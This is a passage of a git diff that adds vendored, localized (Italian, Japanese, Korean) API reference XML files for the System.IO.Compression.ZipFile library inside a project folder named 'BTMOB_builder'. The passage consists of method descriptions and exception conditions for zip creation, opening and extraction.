invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Apre un archivio ZIP in corrispondenza del percorso specificato e nella modalità specificata. + Archivio ZIP aperto. + Percorso dell'archivio da aprire, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + Uno dei valori di enumerazione che specifica le azioni consentite sulle voci nell'archivio aperto. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Apre un archivio ZIP nel percorso specificato, nella modalità specificata e usando la codifica caratteri specificata per i nomi delle voci. + Archivio ZIP aperto. + Percorso dell'archivio da aprire, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + Uno dei valori di enumerazione che specifica le azioni consentite sulle voci nell'archivio aperto. + La codifica da usate durante la lettura o la scrittura dei nomi delle voci in questo archivio.Specificare un valore per il parametro solo quando una codifica è obbligatoria per l'interoperabilità con gli strumenti e le librerie dell'archivio ZIP che non supportano la codifica UTF-8 per i nomi di voce. + + is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Apre un archivio ZIP per la lettura nel percorso specificato. + Archivio ZIP aperto. + Percorso dell'archivio da aprire, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + The file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive. + + + Fornisce metodi di estensione per le classi e . + + + Archivia un file comprimendolo e aggiungendolo all'archivio ZIP. + Wrapper per la nuova voce nell'archivio zip. + L'archivio ZIP a cui aggiungere il file. + Percorso del file da archiviare.È possibile specificare un percorso assoluto o un percorso relativo.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + Nome della voce da creare nell'archivio ZIP. + + è , contiene solo spazi vuoti oppure almeno un carattere non valido.In alternativa è . + + o è null. + In , il percorso, il nome file o entrambi superano la lunghezza massima definita dal sistema.Su piattaforme Windows, ad esempio, i percorsi devono essere composti di un numero di caratteri inferiore a 248 e i nomi file devono essere composti di un numero di caratteri inferiore a 260. + + non è valido, poiché, ad esempio, si trova su un'unità non mappata. + Impossibile aprire il file specificato da . + + specifica una directory.In alternativaIl chiamante non dispone dell'autorizzazione richiesta per accedere al file specificato da . + Il file specificato dal parametro non è stato trovato. + Il parametro è in un formato non valido.In alternativaL'archivio ZIP non supporta la scrittura. + L'archivio ZIP è stato eliminato. + + + Archivia un file comprimendolo con il livello di compressione specificato e aggiungendolo all'archivio ZIP. + Wrapper per la nuova voce nell'archivio zip. + L'archivio ZIP a cui aggiungere il file. + Percorso del file da archiviare.È possibile specificare un percorso assoluto o un percorso relativo.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + Nome della voce da creare nell'archivio ZIP. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si crea la voce. + + è , contiene solo spazi vuoti oppure almeno un carattere non valido.In alternativa è . + + o è null. + + non è valido, poiché, ad esempio, si trova su un'unità non mappata. + In , il percorso, il nome file o entrambi superano la lunghezza massima definita dal sistema.Su piattaforme Windows, ad esempio, i percorsi devono essere composti di un numero di caratteri inferiore a 248 e i nomi file devono essere composti di un numero di caratteri inferiore a 260. + Impossibile aprire il file specificato da . + + specifica una directory.In alternativaIl chiamante non dispone dell'autorizzazione richiesta per accedere al file specificato da . + Il file specificato dal parametro non è stato trovato. + Il parametro è in un formato non valido.In alternativaL'archivio ZIP non supporta la scrittura. + L'archivio ZIP è stato eliminato. + + + Estrae tutti i file nell'archivio zip in una directory del file system. + Archivio ZIP da cui estrarre i file. + Percorso della directory in cui inserire i file estratti.È possibile specificare un percorso assoluto o un percorso relativo.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + + è , contiene solo spazi vuoti oppure almeno un carattere non valido. + + è null. + La lunghezza del percorso specificata supera la lunghezza massima definita dal sistema.Su piattaforme Windows, ad esempio, i percorsi devono essere composti di un numero di caratteri inferiore a 248 e i nomi file devono essere composti di un numero di caratteri inferiore a 260. + Il percorso specificato non è valido (ad esempio, si trova su un'unità non connessa). + La directory specificata da esiste già.In alternativaIl nome di una voce nell'archivio è , contiene solo spazi vuoti o contiene almeno un carattere non valido.In alternativaL'estrazione di una voce dall'archivio crea un file esterno alla directory specificata da . (Ad esempio, si potrebbe verificare se il nome dell'elemento contiene accessori della directory padre). In alternativaDue o più voci nell'archivio hanno lo stesso nome. + Il chiamante non dispone dell'autorizzazione necessaria per scrivere nella directory di destinazione. + + o contiene un formato non valido. + È impossibile trovare una voce dell'archivio o la voce è danneggiata.In alternativaUna voce dell'archivio è stata compressa con un metodo di compressione non supportato. + + + Estrae una voce nell'archivio ZIP in un file. + Voce dell'archivio ZIP da cui estrarre un file. + Percorso del file da creare dal contenuto della voce.È possibile specificare un percorso assoluto o un percorso relativo.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + + è una stringa di lunghezza zero, contiene solo spazi vuoti oppure uno o più caratteri non validi definiti da .In alternativa specifica una directory. + + è null. + Il percorso, il nome file o entrambi superano la lunghezza massima definita dal sistema.Su piattaforme Windows, ad esempio, i percorsi devono essere composti di un numero di caratteri inferiore a 248 e i nomi file devono essere composti di un numero di caratteri inferiore a 260. + Il percorso specificato non è valido (ad esempio, si trova su un'unità non connessa). + + esiste già.In alternativa Si è verificato un errore di I/O.In alternativaLa voce è attualmente aperta in scrittura.In alternativaLa voce è stata eliminata dall'archivio. + Il chiamante non dispone dell'autorizzazione richiesta per creare il nuovo file. + La voce non è presente nell'archivio o è danneggiata e non può essere letta.In alternativaLa voce è stata compressa con un metodo di compressione non supportato. + L'archivio ZIP cui questa voce appartiene è stato eliminato. + + è in un formato non valido. In alternativaL'archivio ZIP per questa voce è stato aperto in modalità di , che non consente il recupero delle voci. + + + Estrae una voce nell'archivio ZIP in un file e facoltativamente sovrascrivere un file esistente con lo stesso nome. + Voce dell'archivio ZIP da cui estrarre un file. + Percorso del file da creare dal contenuto della voce.È possibile specificare un percorso assoluto o un percorso relativo.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + true per sovrascrivere un file esistente con lo stesso nome del file di destinazione; in caso contrario, false. + + è una stringa di lunghezza zero, contiene solo spazi vuoti oppure uno o più caratteri non validi definiti da .In alternativa specifica una directory. + + è null. + Il percorso, il nome file o entrambi superano la lunghezza massima definita dal sistema.Su piattaforme Windows, ad esempio, i percorsi devono essere composti di un numero di caratteri inferiore a 248 e i nomi file devono essere composti di un numero di caratteri inferiore a 260. + Il percorso specificato non è valido (ad esempio, si trova su un'unità non connessa). + + già esiste e è false.In alternativa Si è verificato un errore di I/O.In alternativaLa voce è attualmente aperta in scrittura.In alternativaLa voce è stata eliminata dall'archivio. + Il chiamante non dispone dell'autorizzazione richiesta per creare il nuovo file. + La voce non è presente nell'archivio o è danneggiata e non può essere letta.In alternativaLa voce è stata compressa con un metodo di compressione non supportato. + L'archivio ZIP cui questa voce appartiene è stato eliminato. + + è in un formato non valido. In alternativaL'archivio ZIP per questa voce è stato aperto in modalità di , che non consente il recupero delle voci. + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/ja/System.IO.Compression.ZipFile.xml b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/ja/System.IO.Compression.ZipFile.xml new file mode 100644 index 0000000..8243336 --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/ja/System.IO.Compression.ZipFile.xml @@ -0,0 +1,286 @@ + + + + System.IO.Compression.ZipFile + + + + zip アーカイブの作成、抽出、および解凍の静的メソッドを提供します。 + + + 指定したディレクトリのファイルおよびディレクトリを含む zip アーカイブを作成します。 + アーカイブするディレクトリのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + 作成するアーカイブのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 指定したディレクトリのファイルおよびディレクトリを含む zip アーカイブを作成し、指定した圧縮レベルを使用し、オプションでベース ディレクトリを含みます。 + アーカイブするディレクトリのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + 作成するアーカイブのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + エントリの作成時に速度または圧縮の有効性を強調するかどうかを示す列挙値の 1 つ。 + アーカイブのルートにある からのディレクトリ名を含める場合は true。ディレクトリの内容のみを含める場合は false。 + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 指定したディレクトリのファイルおよびディレクトリを含む zip アーカイブを作成し、指定した圧縮レベルとエントリ名の文字エンコーディングを使用し、オプションでベース ディレクトリを含みます。 + アーカイブするディレクトリのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + 作成するアーカイブのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + エントリの作成時に速度または圧縮の有効性を強調するかどうかを示す列挙値の 1 つ。 + アーカイブのルートにある からのディレクトリ名を含める場合は true。ディレクトリの内容のみを含める場合は false。 + このアーカイブのエントリ名の読み取りまたは書き込み時に使用するエンコード。エントリ名の UTF-8 エンコードをサポートしない zip アーカイブ ツールとライブラリとの相互運用性のためにエンコードが必要な場合にのみ、このパラメーターの値を指定してください。 + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 指定した zip アーカイブのすべてのファイルをファイル システムのディレクトリに抽出します。 + 抽出するアーカイブのパス。 + 抽出ファイルを置くディレクトリのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + + or is , contains only white space, or contains at least one invalid character. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + 指定した zip アーカイブのすべてのファイルをファイル システムのディレクトリに抽出し、エントリ名に指定した文字エンコーディングを使用します。 + 抽出するアーカイブのパス。 + 抽出ファイルを置くディレクトリのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + このアーカイブのエントリ名の読み取りまたは書き込み時に使用するエンコード。エントリ名の UTF-8 エンコードをサポートしない zip アーカイブ ツールとライブラリとの相互運用性のためにエンコードが必要な場合にのみ、このパラメーターの値を指定してください。 + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + 指定したパスとモードで zip アーカイブを開きます。 + 開いている zip アーカイブ。 + 開くアーカイブのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + 開いているアーカイブのエントリで許可されている操作を指定する列挙値の 1 つ。 + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + 指定されたモードで、エントリ名に指定された文字エンコーディングを使用して指定されたパスの zip のアーカイブを開きます。 + 開いている zip アーカイブ。 + 開くアーカイブのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + 開いているアーカイブのエントリで許可されている操作を指定する列挙値の 1 つ。 + このアーカイブのエントリ名の読み取りまたは書き込み時に使用するエンコード。エントリ名の UTF-8 エンコードをサポートしない zip アーカイブ ツールとライブラリとの相互運用性のためにエンコードが必要な場合にのみ、このパラメーターの値を指定してください。 + + is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + 指定されたパスで読み取りのための zip のアーカイブを開きます。 + 開いている zip アーカイブ。 + 開くアーカイブのパス。相対パスまたは絶対パスとして指定します。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + The file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive. + + + + のクラスの拡張メソッドを提供します。 + + + 圧縮し、zip アーカイブに追加することでファイルをアーカイブします。 + zip アーカイブ内の新しいエントリのラッパー。 + ファイルに追加するzip アーカイブ。 + アーカイブするファイルへのパス。相対パスまたは絶対パスを指定できます。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + zip アーカイブ内に作成するエントリの名前。 + + であるか、空白文字のみが含まれているか、無効な文字が少なくとも 1 つ含まれています。または なので、 + + または が null です。 + + で、指定したパス、ファイル名、またはその両方がシステム定義の最大長を超えています。たとえば、Windows ベースのプラットフォームの場合、パスの長さは 248 文字未満、ファイル名の長さは 260 文字未満である必要があります。 + + が無効です (割り当てられていないドライブであるなど)。 + + で指定されたファイルを開けません。 + + はディレクトリを指定します。または によって指定されたファイルにアクセスするために必要なアクセス許可が呼び出し元にありません。 + + で指定されたファイルが見つかりません。 + + パラメーターの書式が無効です。またはzip アーカイブは書き込みをサポートしません。 + zip アーカイブが破棄されました。 + + + 指定した圧縮レベルで圧縮し、zip アーカイブに追加することでファイルをアーカイブします。 + zip アーカイブ内の新しいエントリのラッパー。 + ファイルに追加するzip アーカイブ。 + アーカイブするファイルへのパス。相対パスまたは絶対パスを指定できます。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + zip アーカイブ内に作成するエントリの名前。 + エントリの作成時に速度または圧縮の有効性を強調するかどうかを示す列挙値の 1 つ。 + + であるか、空白文字のみが含まれているか、無効な文字が少なくとも 1 つ含まれています。または なので、 + + または が null です。 + + が無効です (割り当てられていないドライブであるなど)。 + + で、指定したパス、ファイル名、またはその両方がシステム定義の最大長を超えています。たとえば、Windows ベースのプラットフォームの場合、パスの長さは 248 文字未満、ファイル名の長さは 260 文字未満である必要があります。 + + で指定されたファイルを開けません。 + + はディレクトリを指定します。または によって指定されたファイルにアクセスするために必要なアクセス許可が呼び出し元にありません。 + + で指定されたファイルが見つかりません。 + + パラメーターの書式が無効です。またはzip アーカイブは書き込みをサポートしません。 + zip アーカイブが破棄されました。 + + + zip アーカイブのすべてのファイルをファイル システムのディレクトリに抽出します。 + ファイルの抽出元となる zip アーカイブ。 + 抽出ファイルを置くディレクトリのパス。相対パスまたは絶対パスを指定できます。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + + であるか、空白文字のみが含まれているか、無効な文字が少なくとも 1 つ含まれています。 + + は null なので、 + 指定されたパスがシステムで定義されている最大長を超えています。たとえば、Windows ベースのプラットフォームの場合、パスの長さは 248 文字未満、ファイル名の長さは 260 文字未満である必要があります。 + 指定したパスが無効です (割り当てられていないドライブであるなど)。 + + で指定されたディレクトリは既に存在します。またはアーカイブ内のエントリの名前が であるか、名前に空白だけが含まれているか、無効な文字が少なくとも 1 つ含まれています。またはアーカイブからエントリを抽出すると、 で指定されているディレクトリの外部にファイルが作成されます。(たとえば、エントリ名に親ディレクトリのアクセサーが含まれている場合に発生する可能性があります。)またはアーカイブの複数のエントリの名前が同じです。 + 呼び出し元に、目的のディレクトリに書き込みするために必要な許可がありません。 + + に無効な書式指定が格納されています。 + アーカイブ エントリが見つからないか、破損しています。またはアーカイブ エントリはサポートされていない圧縮方法を使用して圧縮されました。 + + + zip アーカイブのエントリをファイルに抽出します。 + ファイルの抽出元となる zip アーカイブ エントリ。 + エントリの内容から作成するファイルのパス。相対パスまたは絶対パスを指定できます。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + + が、長さが 0 の文字列である、空白しか含んでいない、 で定義されている無効な文字を 1 つ以上含んでいます。または はディレクトリを指定します。 + + は null なので、 + 指定したパス、ファイル名、またはその両方がシステム定義の最大長を超えています。たとえば、Windows ベースのプラットフォームの場合、パスの長さは 248 文字未満、ファイル名の長さは 260 文字未満である必要があります。 + 指定したパスが無効です (割り当てられていないドライブであるなど)。 + + は既に存在します。またはI/O エラーが発生しました。または書き込みのため、エントリが現在開いています。またはエントリがアーカイブから削除されています。 + 新しいファイルを作成するために必要なアクセス許可が呼び出し元にありません。 + エントリがアーカイブにないか、または破損していて読み取ることができません。またはエントリは、サポートされていない圧縮方法を使用して圧縮されています。 + このエントリが属する zip アーカイブは破棄されています。 + + の形式が無効です。またはこのエントリの zip アーカイブは、エントリの取得が許可されない モードで開かれました。 + + + zip アーカイブのエントリをファイルに抽出し、オプションとして同じ名前を持つ既存のファイルを上書きします。 + ファイルの抽出元となる zip アーカイブ エントリ。 + エントリの内容から作成するファイルのパス。相対パスまたは絶対パスを指定できます。相対パスは、現在の作業ディレクトリに対して相対的に解釈されます。 + ターゲットのファイルと同じ名前を持つ既存のファイルを上書きする場合は true。それ以外の場合は false。 + + が、長さが 0 の文字列である、空白しか含んでいない、 で定義されている無効な文字を 1 つ以上含んでいます。または はディレクトリを指定します。 + + は null なので、 + 指定したパス、ファイル名、またはその両方がシステム定義の最大長を超えています。たとえば、Windows ベースのプラットフォームの場合、パスの長さは 248 文字未満、ファイル名の長さは 260 文字未満である必要があります。 + 指定したパスが無効です (割り当てられていないドライブであるなど)。 + + は既に存在しており、 が false です。またはI/O エラーが発生しました。または書き込みのため、エントリが現在開いています。またはエントリがアーカイブから削除されています。 + 新しいファイルを作成するために必要なアクセス許可が呼び出し元にありません。 + エントリがアーカイブにないか、または破損していて読み取ることができません。またはエントリは、サポートされていない圧縮方法を使用して圧縮されています。 + このエントリが属する zip アーカイブは破棄されています。 + + の形式が無効です。またはこのエントリの zip アーカイブは、エントリの取得が許可されない モードで開かれました。 + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/ko/System.IO.Compression.ZipFile.xml b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/ko/System.IO.Compression.ZipFile.xml new file mode 100644 index 0000000..6ab171e --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/ko/System.IO.Compression.ZipFile.xml @@ -0,0 +1,286 @@ + + + + System.IO.Compression.ZipFile + + + + Zip 보관 파일 만들기, 추출 및 열기를 위한 정적 메서드를 제공합니다. + + + 지정된 디렉터리에서 파일 및 디렉터리를 포함하는 Zip 보관 파일을 만듭니다. + 보관되는 디렉터리의 경로(상대 또는 절대 경로로 지정)입니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + 만들 보관 파일의 경로(상대 또는 절대 경로로 지정)입니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 지정된 디렉터리의 파일 및 디렉터리를 포함하고 지정된 압축 수준을 사용하며 기본 디렉터리를 선택적으로 포함하는 Zip 보관 파일을 듭니다. + 보관되는 디렉터리의 경로(상대 또는 절대 경로로 지정)입니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + 만들 보관 파일의 경로(상대 또는 절대 경로로 지정)입니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + 항목을 만들 때 속도 또는 압축 효율을 강조할지를 나타내는 열거형 값 중 하나입니다. + 보관 파일 루트에 있는 의 디렉터리 이름을 포함하려면 true이고, 디렉터리의 내용만 포함하려면 false입니다. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 지정된 디렉터리의 파일 및 디렉터리를 포함하고 항목 이름에 대해 지정된 압축 수준 및 문자 인코딩을 사용하며 기본 디렉터리를 선택적으로 포함하는 Zip 보관 파일을 만듭니다. + 보관되는 디렉터리의 경로(상대 또는 절대 경로로 지정)입니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + 만들 보관 파일의 경로(상대 또는 절대 경로로 지정)입니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + 항목을 만들 때 속도 또는 압축 효율을 강조할지를 나타내는 열거형 값 중 하나입니다. + 보관 파일 루트에 있는 의 디렉터리 이름을 포함하려면 true이고, 디렉터리의 내용만 포함하려면 false입니다. + 이 보관 파일에서 이름을 읽거나 쓰는 동안 사용할 인코딩입니다.인코딩이 항목 이름에 대해 UTF-8 인코딩을 지원하지 않는 Zip 보관 도구와 라이브러리를 사용하여 상호 운용성에 인코딩이 필요할 때만 이 매개 변수에 대한 값을 지정합니다. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 지정된 Zip 보관 파일의 모든 파일을 파일 시스템의 디렉터리에 추출합니다. + 추출되는 보관 파일의 경로입니다. + 추출된 파일을 배치할 디렉터리의 경로이며 상대 경로 또는 절대 경로로 지정됩니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + 지정된 Zip 보관 파일의 모든 파일을 파일 시스템의 디렉터리에 추출하고 항목 이름에 대한 지정된 문자 인코딩을 사용합니다. + 추출되는 보관 파일의 경로입니다. + 추출된 파일을 배치할 디렉터리의 경로이며 상대 경로 또는 절대 경로로 지정됩니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + 이 보관 파일에서 이름을 읽거나 쓰는 동안 사용할 인코딩입니다.인코딩이 항목 이름에 대해 UTF-8 인코딩을 지원하지 않는 Zip 보관 도구와 라이브러리를 사용하여 상호 운용성에 인코딩이 필요할 때만 이 매개 변수에 대한 값을 지정합니다. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + 지정된 경로와 지정된 모드에서 Zip 보관 파일을 엽니다. + 열린 Zip 보관 파일입니다. + 열 보관 파일의 경로(상대 또는 절대 경로로 지정)입니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + 열린 보관 파일의 항목에서 사용되는 동작을 지정하는 열거형 값 중 하나입니다. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + 지정된 모드의 지정된 경로에서 항목 이름에 대해 지정된 문자 인코딩을 사용하며 Zip 보관 파일을 엽니다. + 열린 Zip 보관 파일입니다. + 열 보관 파일의 경로(상대 또는 절대 경로로 지정)입니다.상대 경로는 현재 작업 디렉터리에 상대적으로 